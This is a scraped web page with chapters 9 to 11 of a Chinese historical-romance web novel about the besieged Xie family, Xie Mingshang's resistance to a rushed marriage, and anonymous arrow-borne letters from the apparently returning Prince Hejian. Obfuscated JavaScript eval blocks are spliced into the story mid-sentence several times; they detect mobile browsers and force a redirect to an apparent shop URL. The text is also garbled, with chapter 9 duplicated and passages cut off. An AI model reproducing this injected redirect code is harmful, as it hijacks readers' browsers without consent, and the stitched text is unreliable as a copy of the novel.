日头落山,水面洒金。 布置在水边的宫宴气氛热烈,歌舞正酣。 今日天子设洗尘家宴,众多叔伯辈分的宗室皇亲作为陪客相随,席间主宾只有一个。 当今天子奉德帝,正当而立之年,精力鼎盛。 东北边境野火燎原的辽东王叛乱似乎没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一行数十轻骑快马疾驰,再往前两条街,便是长淮巷。远远地已经可以看见长淮巷口明亮的火把光芒,围住谢家的禁军甲胄军械在火把下点点反光。 越行越慢,不等靠近便已勒马停在路边。萧挽风从远处凝视院墙内探出的几枝迎风颤动的桃花影子。 等候在附近的幕僚匆匆迎上马前,递过解酒汤药,细语几句探听来的动向。 “我们入京前夜,谢家便被禁军围了府邸。一路紧赶慢赶的……殿下,这趟还是来得有些迟了。” 萧挽风并不下马,就在马背上接过解酒汤药。 喝完扔开碗,拨转缰绳回程:“人还在,事就不迟。” 9.第 9 章 长公主殿下手写的宗室子名单,要不是被老娘提起,谢明裳自己都快忘了。 她四处摸了半天才寻到,谢夫人倒是郑重其事地洗手焚香,把名单双手捧去书案上,叫上了大儿子一起商量研究。 一家四口分作三处,老娘和哥哥在东次间低声议论;老爹的鼾声此起彼伏,从主屋里槅门传来。至于谢明裳自己,坐在堂屋里低头慢腾腾地喝炖汤。 两刻钟后,东次间房门打开,母亲面上隐隐显露忧色,在女儿面前却强做镇定说:“长公主殿下给的单子,人选多了些,还需要仔细斟酌斟酌。” 谢明裳只嗯了声,心里清楚,她自己都能想到的事,母亲和哥哥哪能想不到。 谢家情势危急,嫁入宗室避祸这条路,譬如河流下游的鲤鱼想要逆流跃入龙门。 由高处往下挑拣容易,哪能站在低处强求高就?说是条通天路,仔细计较起来走不通顺。 谢明裳把手里的半碗汤羹喝完,随口道:“昨天我就和兰夏说这名单用不着。如今娘也看过了。哥哥拿去烧了吧。” 谢琅不肯。把长公主赠与的名单收入怀里,说:“先留着。明珠儿吃好朝食了?跟我出去走走。” 谢明裳莫名其妙地随兄长走出主院。 谢琅沉吟着,“谢家如今的情势……明珠儿,趁父亲此刻没起身,我和你交个底。父亲当面时,只怕不会允许我和你说。” 说得郑重,谢明裳点点头,两人一路去后花园。 精心置办的后花园少了园丁打理,才三五日便显出野草疯长的痕迹。 站在落满花叶的莲花池小木桥上,谢明裳侧耳细听。 谢琅深思着,缓缓道:“昨日你和五娘的宫籍被录下带走,父亲思虑了整夜,对你有打算。” “宫里规矩太大,入宫不是条好路子。家里犯事入宫的小娘子,比寻常宫人还要矮一头。你脾气又不好,要你忍辱负重是断然不能的,父亲怕你一怒之下冲动犯傻——” “行了行了。”谢明裳不满地打断他:“大清早跟你出来是听你数落的?我还不如待房里听娘数落呢。至少娘那边还有鳜鱼豆腐汤喝。” 谢琅哑然片刻,长话短说: “所谓备用宫籍,用不上便是废纸一张。家族获罪不及出嫁女。你赶紧嫁了,越快越好。” 谢明裳:“……” 谢琅:“爹娘昨夜商谈这件事。两人都同意,现今只差个人选。长公主考虑得很妥帖,宗室子弟是最好的选择,其次外戚门第。父亲说丧妻续弦的鳏夫最有可能成事。明珠儿,父亲已经知会了门外把守的常将军,打算入夜后悄悄出门商议。一两日定下人选,尽快送你出嫁。” 谢明裳:“……” 谢明裳呛了一口风进喉咙,剧烈地咳嗽起来,精致面孔发了白。谢琅慌忙替她拍背顺气,不远处候着的兰夏和鹿鸣也冲上来,一个挡风,一个取出药酒服用。 “你们就这么琢磨的?” 谢明裳平复下咳嗽,人给气笑了。“昨天才说的回来陪你们,原来没一个人信,只有我当真了?“ 越说越气,她掉头就走。 走出几步忽地回身,谢琅站在木桥上,眼神复杂伤感,抬手似乎想喊她,却什么声音也没有发出。 谢明裳又几步走回小木桥上,牵着她哥往主院方向走。 “站风里吃风作甚?回娘屋里继续喝汤去。“ * 兄妹俩来回折腾一趟的功夫,屋里鼾声震天的谢枢密使睡醒了。 此刻人已起身,披衣站在内院门口,一位身穿禁军皮甲的佩刀汉子寻他说话。 ——赫然是奉命看守谢家的常将军的手下。 风里送来断续的话语声:“常将军叮嘱卑职转告,门外有可疑人物出没,或为皇城司的眼线……谢帅这几日多静少动。” “宫里新传来的消息……河间王已入京……” 等谢家兄妹走近时,正听到父亲沉声问:“消息可靠?怎的如此突然。” “亲眼所见。据说只带了两百亲兵入京,未打出旗帜仪仗,应是秘密奉诏返京。宫里昨日办了一场家宴,正式的接风宴定在两日后,京城里五品以上的朝臣和宗室勋贵都会到场,消息确凿。常将军叮嘱谢帅近期多留意。” 那禁军汉子尽忠职守地回禀。 谢枢密使一座山似的站在庭院门里不动。半晌,惊醒般转向谢明裳,问的却是谢琅: “叫你别提,你还是跟她提了? ” 谢琅道:“事关小妹终身,怎能隐瞒不说。” 谢枢密使盯着谢明裳不知不觉抿住的唇角:“从前挑挑拣拣,满京城的儿郎不愿嫁,眼睛顶天上去。现今匆忙要嫁不知哪家的鳏夫,叫你委屈了?” 父兄注视过来的视线里,谢明裳抿住的粉润唇角往下一撇: “爹爹别瞎折腾了。谢家眼下的局面,杜家不敢娶我,找个鳏夫就敢娶了?别被人给哄了,表面上说得堂皇,一顶轿子把我抬去家里做个婢妾,关在后院磋磨,没三两天不是我死就是他死。爹爹你流放三千里去岭南,耳目闭塞,等京城这边的消息隔了一年半载才传去流放地,我怕你当场气死。” 莫说一年半载之后了,谢枢密使眼下差点就被气死。 蒲扇大的巴掌拍去门框,啪地一声巨响,木屑纷纷而下,谢枢密使怒喝:“什么你死我死的,你老子还没论罪流放呢!” “谢家还没论罪,爹爹把我瞎嫁出去算什么。我死也只想死在谢家。” 父女两个站在敞开的庭院门口你一言我一语地吵了起来。 替常将军通传消息的禁军汉子人还没走,站在门边,目瞪口呆瞧着谢帅被自家女儿气得脸红脖子粗,心头旺火弹压不住,张口把京城各家骂了个遍。 骂杜二不顶用,骂林相家的纨绔子吃了熊心豹子胆。 骂杜二那个混账姐夫,广陵王萧措,狗日的杂种也敢打谢家女儿的主意。 一怒之下没留意把整个宗室都骂进去了,谢琅赶紧把传消息的禁军汉子拉去旁边,细细询问起刚才传来的消息。 他果然没听错。 镇守朔州的河间王萧挽风奉诏入京,人已在京城。 谢琅的神色微微一动,指腹隔着衣袖摩挲几下长公主手书的宗室子名单。 谢家父女吵不久,三言两语就吵完了。谢明裳情绪动荡起伏引发了轻微心悸和咳喘,坐在门边咳了几声,谢枢密使慌忙冲过来拍背。 谢明裳在门边歇了一阵,等她这边的病症平复下来,谢枢密使独自站在门里窝火闷气。 谢琅走近妹妹身侧,撩袍坐在门槛边,侧头低声问起。 “明珠儿,我久居京城,你是随父亲在关外长住的。可曾听过河间王此人,他在边关声名如何?” 谢明裳当然听过这名号。 河间王萧挽风,当今圣上的堂弟, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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送来书信的禁军汉子也道:“广陵王妃送信的管事婆子还等在门外,说要带回六娘子的回信交差。” 谢琅当场把书信打开,略看几眼,眉头当即皱起,挡着不给谢明裳看,握着书信转身回禀父母:“父亲,母亲。广陵王妃来信。” 书信中以姐妹相称,声称要纳了谢明裳入王府,许她孺人的封号,催促谢家点头。 谢枢密使和夫人放下饭碗,接过书信翻看到尾。看完两人相对冷笑几声。 娘家弟媳纳为后院姐妹,这位广陵王妃可真够胸怀大度的。 谢夫人道:“广陵王妃来信,理应我出面招待。” 随即高声喊身边几个亲信女使的名字,很快召集来四五个,俱是在关外战役时跟随谢夫人上过城墙的,一群娘子杀气腾腾往前院方向走去。 谢家人继续吃饭。谢明裳才放下碗,紧闭的门外又有人敲门。 一名谢家护院匆匆握着一支铁箭,面色紧张地报讯。 “郎主和夫人可在此处?方才有支不知何处而来的羽箭射入前院,箭身携带一封密信!” 谢琅起身接过被雨水沾湿的密信和箭身,放去桌上。 谢明裳在灯下拨弄几下羽箭。是军里常用的白翎箭,铁箭头被拔去,留下个光秃秃的箭杆。 随羽箭射进谢家庭院的密信轻而薄,封皮并未署名,只简单写着—— “谢帅亲启”。 9.第 9 章 长公主殿下手写的宗室子名单,要不是被老娘提起,谢明裳自己都快忘了。 她四处摸了半天才寻到,谢夫人倒是郑重其事地洗手焚香,把名单双手捧去书案上,叫上了大儿子一起商量研究。 一家四口分作三处,老娘和哥哥在东次间低声议论;老爹的鼾声此起彼伏,从主屋里槅门传来。至于谢明裳自己,坐在堂屋里低头慢腾腾地喝炖汤。 两刻钟后,东次间房门打开,母亲面上隐隐显露忧色,在女儿面前却强做镇定说:“长公主殿下给的单子,人选多了些,还需要仔细斟酌斟酌。” 谢明裳只嗯了声,心里清楚,她自己都能想到的事,母亲和哥哥哪能想不到。 谢家情势危急,嫁入宗室避祸这条路,譬如河流下游的鲤鱼想要逆流跃入龙门。 由高处往下挑拣容易,哪能站在低处强求高就?说是条通天路,仔细计较起来走不通顺。 谢明裳把手里的半碗汤羹喝完,随口道:“昨天我就和兰夏说这名单用不着。如今娘也看过了。哥哥拿去烧了吧。” 谢琅不肯。把长公主赠与的名单收入怀里,说:“先留着。明珠儿吃好朝食了?跟我出去走走。” 谢明裳莫名其妙地随兄长走出主院。 谢琅沉吟着,“谢家如今的情势……明珠儿,趁父亲此刻没起身,我和你交个底。父亲当面时,只怕不会允许我和你说。” 说得郑重,谢明裳点点头,两人一路去后花园。 精心置办的后花园少了园丁打理,才三五日便显出野草疯长的痕迹。 站在落满花叶的莲花池小木桥上,谢明裳侧耳细听。 谢琅深思着,缓缓道:“昨日你和五娘的宫籍被录下带走,父亲思虑了整夜,对你有打算。” “宫里规矩太大,入宫不是条好路子。家里犯事入宫的小娘子,比寻常宫人还要矮一头。你脾气又不好,要你忍辱负重是断然不能的,父亲怕你一怒之下冲动犯傻——” “行了行了。”谢明裳不满地打断他:“大清早跟你出来是听你数落的?我还不如待房里听娘数落呢。至少娘那边还有鳜鱼豆腐汤喝。” 谢琅哑然片刻,长话短说: “所谓备用宫籍,用不上便是废纸一张。家族获罪不及出嫁女。你赶紧嫁了,越快越好。” 谢明裳:“……” 谢琅:“爹娘昨夜商谈这件事。两人都同意,现今只差个人选。长公主考虑得很妥帖,宗室子弟是最好的选择,其次外戚门第。父亲说丧妻续弦的鳏夫最有可能成事。明珠儿,父亲已经知会了门外把守的常将军,打算入夜后悄悄出门商议。一两日定下人选,尽快送你出嫁。” 谢明裳:“……” 谢明裳呛了一口风进喉咙,剧烈地咳嗽起来,精致面孔发了白。谢琅慌忙替她拍背顺气,不远处候着的兰夏和鹿鸣也冲上来,一个挡风,一个取出药酒服用。 “你们就这么琢磨的?” 谢明裳平复下咳嗽,人给气笑了。“昨天才说的回来陪你们,原来没一个人信,只有我当真了?“ 越说越气,她掉头就走。 走出几步忽地回身,谢琅站在木桥上,眼神复杂伤感,抬手似乎想喊她,却什么声音也没有发出。 谢明裳又几步走回小木桥上,牵着她哥往主院方向走。 “站风里吃风作甚?回娘屋里继续喝汤去。“ * 兄妹俩来回折腾一趟的功夫,屋里鼾声震天的谢枢密使睡醒了。 此刻人已起身,披衣站在内院门口,一位身穿禁军皮甲的佩刀汉子寻他说话。 ——赫然是奉命看守谢家的常将军的手下。 风里送来断续的话语声:“常将军叮嘱卑职转告,门外有可疑人物出没,或为皇城司的眼线……谢帅这几日多静少动。” “宫里新传来的消息……河间王已入京……” 等谢家兄妹走近时,正听到父亲沉声问:“消息可靠?怎的如此突然。” “亲眼所见。据说只带了两百亲兵入京,未打出旗帜仪仗,应是秘密奉诏返京。宫里昨日办了一场家宴,正式的接风宴定在两日后,京城里五品以上的朝臣和宗室勋贵都会到场,消息确凿。常将军叮嘱谢帅近期多留意。” 那禁军汉子尽忠职守地回禀。 谢枢密使一座山似的站在庭院门里不动。半晌,惊醒般转向谢明裳,问的却是谢琅: “叫你别提,你还是跟她提了? ” 谢琅道:“事关小妹终身,怎能隐瞒不说。” 谢枢密使盯着谢明裳不知不觉抿住的唇角:“从前挑挑拣拣,满京城的儿郎不愿嫁,眼睛顶天上去。现今匆忙要嫁不知哪家的鳏夫,叫你委屈了?” 父兄注视过来的视线里,谢明裳抿住的粉润唇角往下一撇: “爹爹别瞎折腾了。谢家眼下的局面,杜家不敢娶我,找个鳏夫就敢娶了?别被人给哄了,表面上说得堂皇,一顶轿子把我抬去家里做个婢妾,关在后院磋磨,没三两天不是我死就是他死。爹爹你流放三千里去岭南,耳目闭塞,等京城这边的消息隔了一年半载才传去流放地,我怕你当场气死。” 莫说一年半载之后了,谢枢密使眼下差点就被气死。 蒲扇大的巴掌拍去门框,啪地一声巨响,木屑纷纷而下,谢枢密使怒喝:“什么你死我死的,你老子还没论罪流放呢!” “谢家还没论罪,爹爹把我瞎嫁出去算什么。我死也只想死在谢家。” 父女两个站在敞开的庭院门口你一言我一语地吵了起来。 替常将军通传消息的禁军汉子人还没走,站在门边,目瞪口呆瞧着谢帅被自家女儿气得脸红脖子粗,心头旺火弹压不住,张口把京城各家骂了个遍。 骂杜二不顶用,骂林相家的纨绔子吃了熊心豹子胆。 骂杜二那个混账姐夫,广陵王萧措,狗日的杂种也敢打谢家女儿的主意。 一怒之下没留意把整个宗室都骂进去了,谢琅赶紧把传消息的禁军汉子拉去旁边,细细询问起刚才传来的消息。 他果然没听错。 镇守朔州的河间王萧挽风奉诏入京,人已在京城。 谢琅的神色微微一动,指腹隔着衣袖摩挲几下长公主手书的宗室子名单。 谢家父女吵不久,三言两语就吵完了。谢明裳情绪动荡起伏引发了轻微心悸和咳喘,坐在门边咳了几声,谢枢密使慌忙冲过来拍背。 谢明裳在门边歇了一阵,等她这边的病症平复下来,谢枢密使独自站在门里窝火闷气。 谢琅走近妹妹身侧,撩袍坐在门槛边,侧头低声问起。 “明珠儿,我久居京城,你是随父亲在关外长住的。可曾听过河间王此人,他在边关声名如何?” 谢明裳当然听过这名号。 河间王萧挽风,当今圣上的堂弟, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434467|141215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当朝唯一以战功封王的宗室子。一战收朔北,关陇四大捷,京城家喻户晓,哪个不知。 但她在关外时没听过。 “我十四岁随爹爹入京,河间王第二年领兵打的河朔?我在京城才听说的他。怎么了?” 谢琅从袖中掏出长公主拟定的宗室子名单。 “突然想起,河间王身为萧姓宗室,似乎也未婚娶……” “他不行!”门里传来斩钉截铁的声音。 谢枢密使隔着老远抱胸冷冷道:“这小子从前在关外领兵跟老夫有过节。卡在谢家出事的要紧关头,什么狗东西都上来踩谢家一脚,河间王不插手作妖,已经谢天谢地了!你家妹子不能托付给他!” 谢明裳露出细微惊讶神色。 身为武将之女,她对武勋卓著的河间王印象其实不错。 “河间王和我们谢家也有过节?怎么到处都是和我们谢家结梁子的人?”她低声问身侧坐着的哥哥。 谢琅张了张嘴,又闭上。对着倦怠病容掩不住动人殊色的小妹,回头再看一眼脾气暴躁的亲爹。哑然摇了摇头。 借着门边阴影的遮挡,谢琅把长公主拟定的名单来回看了两遍。 其中确实没有河间王,萧挽风的名讳。 * 谢家被禁军围得水泄不通,白日里连只过路的麻雀都没有,到了入夜后,偏生事多。 这天掌灯时分,谢家人还在用饭,先前替常将军传递消息的禁军汉子又匆忙赶来,送进一封书信。 “广陵王府送来王妃的手书一封,声明递送谢六娘子亲启。常将军命卑职转交。” 广陵王妃是杜幼清的亲姐,杜家谢家两边婚事议定后,召谢明裳入王府见过一面,记忆里颇为温婉可亲。 也就在那趟,叫她撞见了广陵王那色胚。 她接过书信,在手里掂了一掂,正想着打开还是直接撕了,站在旁边的谢琅从她手里抽走了信。 “先看看里面写些什么。” 送来书信的禁军汉子也道:“广陵王妃送信的管事婆子还等在门外,说要带回六娘子的回信交差。” 谢琅当场把书信打开,略看几眼,眉头当即皱起,挡着不给谢明裳看,握着书信转身回禀父母:“父亲,母亲。广陵王妃来信。” 书信中以姐妹相称,声称要纳了谢明裳入王府,许她孺人的封号,催促谢家点头。 谢枢密使和夫人放下饭碗,接过书信翻看到尾。看完两人相对冷笑几声。 娘家弟媳纳为后院姐妹,这位广陵王妃可真够胸怀大度的。 谢夫人道:“广陵王妃来信,理应我出面招待。” 随即高声喊身边几个亲信女使的名字,很快召集来四五个,俱是在关外战役时跟随谢夫人上过城墙的,一群娘子杀气腾腾往前院方向走去。 谢家人继续吃饭。谢明裳才放下碗,紧闭的门外又有人敲门。 一名谢家护院匆匆握着一支铁箭,面色紧张地报讯。 “郎主和夫人可在此处?方才有支不知何处而来的羽箭射入前院,箭身携带一封密信!” 谢琅起身接过被雨水沾湿的密信和箭身,放去桌上。 谢明裳在灯下拨弄几下羽箭。是军里常用的白翎箭,铁箭头被拔去,留下个光秃秃的箭杆。 随羽箭射进谢家庭院的密信轻而薄,封皮并未署名,只简单写着—— “谢帅亲启”。 10.第 10 章 春雨淅淅沥沥,打湿京城街巷。 位于城东的河朔驿馆里,两百亲兵赤膊操练,呼喊阵阵。 雨中响起一阵绵密的木棍连续击打声响。庭院里有两人手持厚布包裹铁尖的长枪,冒雨激烈对战。 砰一声闷响,亲兵卫长顾淮退出去两尺,倒摔在地上。萧挽风在细雨中长枪收势,肩背肌肉隆起分明,缓缓直起腰身。 雨水沾湿他浓黑的眉锋,眉心热汗一滴滴落入青石地面的水洼中。 他把地上的顾淮拉起,“再来。” 身穿青袍的幕僚就在这时撑伞匆匆走近檐下,递来最新消息。 萧挽风把长枪扔给观战的亲兵,接过干布擦拭满身雨水,幕僚跟随他去屋檐下。 “臣属昨晚亲眼盯着羽箭书信射入谢家前院,被护院捡起,送到谢枢密手上。但至今未有回复。” “兴许……”幕僚斟酌着道:“因为送信的时机不巧,正好撞上广陵王府的人去谢宅投递书信。” “广陵王府?” 萧挽风的视线从雨帘转开。“哪个?” “广陵王萧措。说起来是殿下的远房族兄。咳……他家王妃修书一封,交送给谢六娘子。不知写了些什么,连人带信给谢家护院扔出门外。” 萧挽风唇边噙冷意,什么也未说,扔开湿漉漉的布巾,入屏风后更衣。 出来后吩咐幕僚,“打探一下细节。” * 暮春时节阴晴不定,乍暖还寒。这两天接连夜雨,谢明裳小心提防着,还是病了一场。 角落里咕噜噜熬煮着药汁,苦涩味道弥漫四处。 谢明裳沉沉地闭目躺着,有脚步声进屋坐下,微凉的手摸了摸她发热的额头,叹了口气。 “年年如此,原以为今年调理得好些了……”谢夫人带几分感伤道。 鹿鸣的嗓音响起:“夫人莫忧心,奴等尽心照看娘子。” “阿琅夜里去杜家的事,你和兰夏两个管住嘴,莫和你们娘子说。” “奴知道。” 谢明裳半梦半醒,紧闭的眼睑下,眼珠飞快转动几下。 纷纷扬扬的大雪如鹅毛,将她笼罩在静谧的雪山林里。她在梦里又是头麋鹿了。 蹄子踩着及膝的厚雪,轻快地四处蹦跳,鹿角顶开松林枝杈,一个蹦跳便飞跃过了峡谷,再一个蹦跳飞跃过山头。耳边除了咯吱咯吱的踩雪声,只有山顶雪水淙淙的流淌声响。 灌入口中的苦涩浓汤把她刺激得惊醒过来。 “娘子,睡了整天,该醒醒了。”鹿鸣扶着药碗,小声催促。“家里事多,娘子别只顾着睡,醒来拿个主意。” 谢明裳疲倦地“嗯?”了声。 她的眼睛依旧睁不开,睫羽颤动几下,恍惚道:“阿兄……” “大郎君来看过一次娘子,被夫人叫走了。夫人临走时叮嘱我们不许说。但奴和兰夏都觉得要说给娘子知道。” 鹿鸣附耳悄声道:“广陵王府的脸面廉耻都不要了!前日才把他家冒犯的书信连同送信的婆子扔出去,顾及娘子颜面,未闹出大动静。结果那边若无其事又遣人送来第二封信,说什么‘三顾茅庐’,把夫人气得不轻。我们都觉得,遣人送信的多半不是广陵王妃,而是广陵王自己。” “大郎君夜里出去寻杜家讨说法,听说带了岳家刘公的拜帖,杜家依旧闭门不见。大郎君清晨回来时的脸色不大好。” 谢明裳抬手揉了揉酸涩眼睛。 “扶我起身,我去见母亲。” * 谢家庭院升起一盆炭火。 谢夫人坐在火盆边,默不作声地以铁钩子拨了拨木碳。火苗窜升起老高。 火苗中燃烧的,赫然正是广陵王府送来的第二封书信。 这回的书信落款依旧是广陵王妃,末尾钤的却广陵王萧措本人的私印。 谢琅坐在火盆对面。 昨夜他出门办事,整夜未眠,火盆的热焰映亮年轻疲倦的面容。 谢明裳裹着一身不合时令的银鼠毛披风走进庭院,引来母亲侧目,她只当没看见。 谢明裳也在火盆边坐下,抱着膝盖,问她阿兄:“叫你别去你偏去。吃闭门羹的滋味可好受?” 谢琅笑了下,继续和母亲解释: “婚约事大,需得正式做个了断。杜家不肯开门是杜家的事,我夜里一番折腾,把两家退婚的事说破,由不得杜家装聋作哑。” 谢琅昨夜从西角门出,先去了趟城南桃余巷杜家。 杜家果然闭门不见。 谢琅早有准备,并不纠缠,转头去了岳父家。 出身将门的谢琅,却是个罕见的读书种子,少年在国子监求学时,国子监任教的翰林院学士刘长霖对他青眼有加,结下师生情谊,许下儿女婚约。 谢明裳随着爹娘从边关调入京城的那年,正好赶上大哥谢琅登科入仕。隔年,嫂嫂刘氏嫁入谢家。 多年师生默契外加翁婿半子情分,刘家和谢家走得近。谢家千金和杜家二郎的这桩姻缘,正是刘学士居中牵的线。 “谢家如今尴尬,岳父不便直接出面,便将他的名帖给了我,又吩咐刘家管事带七八名健仆随我去杜家。” 刘家大管事领着多名健仆簇拥着谢琅回返杜家,递上名帖,道明来意。 杜家把名帖迎了进去,谢琅在门外等了两刻钟,门房却回复说,家主不在。 谢琅便问:杜家家主不在,二郎可在家。叫杜幼清出来说话也可。 门房又说:二郎也不在。家主傍晚时分访客,携了二郎同去。 “儿子当时便知道杜家存了‘拖’的心思。亲家遭遇祸事,临阵退亲的名声太难听,结亲他们又不愿,便想着把事拖延过去。等朝廷处置谢家的圣旨下来,谢家人论了罪,那时杜家随便如何说辞都可以。” 谢琅昨夜看明白杜家的心思,便当着杜、刘两家的面,硬邦邦地放下话。 说道:杜家心存两意,谢家亦不想勉强。过几日谢家退回定亲礼时,还望杜家归还女方婚书,成全两姓最后的颜面。 “事已闹开,只要杜家还剩余一点羞耻之心,再登门一趟归还迎亲礼,便能顺利了结退婚事。” 谢琅抬手掸去火炉飘散的烟灰,对母亲说:“岳父对谢家还是有心帮扶的。苑娘有了身孕,如今送出去养胎,岳父嘴上虽然不提,心里畅熨。” 谢夫人拿起铁钩子,把烧得红亮的黑炭用力扒拉几下,火盆里残余的广陵王手书烧了个干净。 “一场祸事,把人心照个清楚亮堂。脱下外头那层衣冠,里头装的是人是鬼,如今看得分明。不论你媳妇腹中这个孩儿能不能保得住,阿琅,以后对媳妇好些。” 谢琅道:“是。” 谢夫人扔下铁钩子,目光转向谢明裳。 神色复杂难言,最后只道:“明珠儿,你这趟回来,轻易就出不去了。退了杜家的婚事,烧了广陵王妃的帖子,后面遭逢的兴许更差。会不会后悔?” 这句喃喃的“会不会后悔”,与其问谢明裳,不如说谢夫人扪心自问,夜里辗转难眠的难解之题。 谢明裳起身过去谢夫人身侧,脸颊贴过去,依在母亲的肩头。 “只要娘别跟爹爹一起押着我嫁鳏夫,我就不后悔。” 谢夫人破涕而笑,拧了她一把:“你爹老糊涂,我才不会听他的。” 烧得差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462797|141215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不多了,谢明裳从墙边寻来铁盖子盖在火盆上,把整盆炭火熄灭。 “我去看看爹。”她跨过门槛去外院书房。 谢枢密使前日在院门边和谢明裳吵了几句嘴,瞒来瞒去,暗中筹谋寻鳏夫急嫁女的事终究没能便瞒住夫人。 谢夫人知道后发了一场脾气,谢枢密使被赶出内院,这两天歇在外院书房里。 谢明裳跨进书房院子时,没想到正看到二叔从书房里走出。 两边迎面撞了个正着,装看不见都不行,谢明裳在廊下停步行礼:“二叔来寻父亲?” 谢二叔嘴里含糊寒暄几句,脚下反倒加快了步子。 他存心躲着谢明裳,但谢明裳没打算放二叔轻轻松松地走。 她在身后道:“二叔来找父亲求情,想把瑄哥儿送走?但瑄哥儿身为谢家男丁,送走哪是轻易事。瑄哥儿又养得娇,路上一旦哭闹泄露了动静,门外闭眼放瑄哥儿走脱的常将军,沿路护送的忠心将士们,冒大风险收养瑄哥儿的人家,全躲不过窝藏连坐的罪过。几十条人命填进去,不知能不能让二叔的独苗苗活。” 谢二叔躲不过,尴尬地转身道:“大哥为难,我这个做兄弟的哪能不知。都是你二婶的主意,妇道人家见识短,说不通道理!” 谢明裳笑了笑:“二叔为人老实,坏事都是二婶做的。二叔入京这几年,赌坊砸钱,青楼嫖宿,开销从家里公帐上出,日子过得可舒坦?” 谢二叔嗫嚅几句,也不知在辩解什么,听不清楚。正好谢琅匆匆追进院子,两边打了个照面,趁谢琅行礼的功夫,谢二叔逃也似得快步奔出院门。 谢明裳问:“阿兄跟来做什么?” 谢琅:“娘叫我来看着。怕你说不过父亲,当真随便嫁个鳏夫。” 谢明裳往虚掩的书房门前去:“我在家里惹爹娘不安稳。有时候我想,会不会我嫁出去了,不管嫁鸡嫁狗,有个夫家,至少爹娘心里安稳了。” 谢琅叹了声:“你若匆忙嫁个不好的去处,爹娘一辈子不舒坦。” * 书房的红木长桌上放着两只白翎箭。 铁箭尖都被卸下,只剩两根长箭杆,铜镇纸在桌上镇着一张打开的信纸。 谢明裳进屋时,谢枢密使正坐在长桌后,手握第二张信纸,另一只手烦恼地遮住眉眼,连脚步声也未听见。 谢明裳几步走到父亲身前,探头去看桌上摊开的书信。 不知何人写的一笔遒劲狂草手书,气势几乎划破纸面。她嘴里念道: “……关陇一别,倥偬五载。老骥伏枥,千里忧怀。谢公别来无恙……” 谢枢密使一惊,鲤鱼打挺坐直身子。 “你们来书房做什么。” “早晨吃过了,来看看爹有没有饭吃。” 谢明裳理直气壮地说。 谢枢密使挥手,“出去出去。别弄乱桌上的信纸。” 说话时不留意分了心,谢枢密使手上抓的第二张信纸被揉成一团。 他烦躁地几下把纸捋平,皱巴巴的扔去桌上,两张书信用铜镇纸镇在一处。 谢琅早就留意到桌上的第二只羽箭,问父亲:“又是羽箭传书?” 前日收到匿名射进家里的第一份羽箭传书,谢家父子当时便猜测,羽箭传书是军里做派,书信可能来自谢枢密使的故友。 “两日过去,父亲想到是何方故友了么?” 谢枢密使长叹一声,人又烦恼地坐回木桌后。 “书信里以故人口吻提起旧事。‘关陇一别,倥偬五载。’” “但老夫想来想去,关陇边地分别,五年不曾见面,如今又在京城任职的故人,一时想不出哪个!” 11.第 11 章 谢枢密使身为谢家之主,自有他的顾虑。 信里约他密谈,又不提写信之人身份。谢家被不知多少眼睛盯着,会不会是个陷阱? “如今第二封信又送来,依旧不提身份,却给老夫出馊主意。写信之人到底是哪个,究竟是敌是友,老夫都想不通了。” 谢琅吃了一惊,把第二封信拿去细细地读。 谢明裳也凑过去看。 第二张书信连开头寒暄都无了。 直截了当只写八个字: “认贪墨罪,退廿万银。” 谢琅神色微微一动,视线盯向父亲。 “父亲……“ 谢枢密使一愣,随即勃然大怒,激动得衣袖都颤抖起来。 “你也要老夫认贪墨罪?” “认罪退银,那不就坐实了贪污军饷了?老夫戎马半生,一辈子清白,就算收了下属一些孝敬钱,但贪墨军饷这种污臭勾当,老夫决计不认!” “儿子不敢污父亲清白。”谢琅缓缓收起书信。 事态危急,他身为文臣,从短短八个字里已经看出言外之意。 谢氏牵扯进了辽东王谋逆大案,谋逆是不赦死罪。但谢家至今坐实的罪名,只有亏空军饷一事。 谢琅一字一顿地劝说。 “父亲如果上书认罪,把亏空不见的二十万两银的去向认作贪墨用途,而非接济辽东叛王。再赶紧把亏空的军饷补上,求个减免罪名。虽然从此落下污名,至少……谢家从谋逆大罪中撇清了。” “此乃断尾求生之策。请父亲三思。” 谢枢密使不止衣袖抖动,连斑白的胡须也颤抖了起来。 谢明裳把阿兄手里的第二封羽箭书信接来,反复细看那八个字,又拿过第一张书信比对。 字体飞舞狂草,两封信出自同一个人之手。 “莫查看笔迹了。”谢琅把书信又拿回:“眼下的关键时节还敢往谢家射箭投书的人物,不可能自己亲笔书写,落下把柄。两封信应是幕僚代写的。” 